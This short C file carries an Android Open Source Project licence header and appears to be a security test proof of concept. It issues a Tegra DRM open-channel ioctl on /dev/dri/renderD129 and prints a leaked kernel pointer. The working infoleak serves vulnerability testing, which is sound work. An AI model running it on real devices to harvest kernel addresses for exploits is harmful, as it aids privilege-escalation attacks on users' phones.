1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions vand
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <sys/types.h>
18 #include <sys/wait.h>
19 #include <sys/syscall.h>
20 #include <unistd.h>
21 #include <string.h>
22 #include <stdint.h>
23 #include <stdio.h>
24 #include <fcntl.h>
25 struct drm_tegra_open_channel {
26 __u32 client;
27 __u32 pad;
28 void* context;
29 };
30 #define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717
main()31 int main()
32 {
33 int fd, rc;
34 struct drm_tegra_open_channel open_args = {0,0,0};
35 open_args.client = 0x21;
36 fd = open("/dev/dri/renderD129", 0, 0);
37 rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args);
38
39 printf("Leaked ptr is %p\n", open_args.context);
40 return 0;
41 }
42